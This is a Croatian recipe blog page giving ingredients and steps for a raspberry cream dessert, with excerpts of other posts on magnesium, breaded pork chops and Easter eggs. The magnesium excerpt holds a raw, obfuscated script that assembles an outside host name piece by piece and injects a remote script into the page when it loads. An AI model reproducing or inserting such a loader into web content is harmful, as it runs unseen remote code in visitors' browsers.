KREMA OD MALINA U ČAŠI



Krema od malina u čaši 



Ako volite lagane voćne deserte, pa i ako ih ne volite, ali volite maline - ova krema od malina oduševit će vas već na prvi zalogaj. Priprema se od smrznutih malina pa u njezinu bogatom okusu možete uživati tijekom cijele godine, a posebno će dobro prijati za ljetnih vrućina.




 Krema od malina u čaši 


Sastojci:

  • 300 g smrznutih nezaslađenih malina, odmrznutih
  • 120 ml punomasnog mlijeka
  • 130 g kristal šećera (ili manje)
  • 3 velika žumanjka, sobne temperature
  • 20 g kukuruznog škroba (oko 2½ žlice)
  • 40 g hladnog maslaca, narezanog na kockice
  • 1 čajna žličica ekstrakta vanilije (po želji) Za posluživanje (po želji)

Za posluživanje (po želji)

  • svježe maline
  • tučeno slatko vrhnje
  • naribana bijela čokolada
  • listići mente
  • smrvljeni keksi ili granola



Priprema:

  1. Odmrznute maline protisnite kroz gusto cjedilo kako biste uklonili koštice. Trebali biste dobiti oko 170 g gustog soka i pirea.
  2. U lončiću zagrijte mlijeko s otprilike četvrtinom šećera. Zagrijavajte dok se ne pojavi para, ali nemojte dopustiti da zavrije.
  3. U zdjeli pjenjačom izmiješajte žumanjke i preostali šećer. Dodajte kukuruzni škrob i dobro izmiješajte dok ne dobijete glatku smjesu bez grudica. Umiješajte procijeđeni pire od malina.
  4. Polako ulijevajte vruće mlijeko uz stalno miješanje, zatim sve vratite u lonac. Kuhajte na srednje jakoj vatri uz neprestano miješanje dok se krema ne zgusne. Kada zavrije, kuhajte još jednu minutu pa maknite s vatre.
  5. Umiješajte hladni maslac i, po želji, ekstrakt vanilije. Miješajte dok krema ne postane potpuno glatka i sjajna.
  6. Kremu rasporedite u četiri desertne čaše ili jednu veću posudu. Površinu prekrijte prozirnom folijom tako da dodiruje kremu kako se ne bi stvorila korica.
  7. Nakon desetak minuta na sobnoj temperaturi stavite u hladnjak na najmanje dva sata.
  8. Prije posluživanja ukrasite svježim malinama, tučenim slatkim vrhnjem, listićima mente, naribanom bijelom čokoladom ili hrskavim mrvicama keksa.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više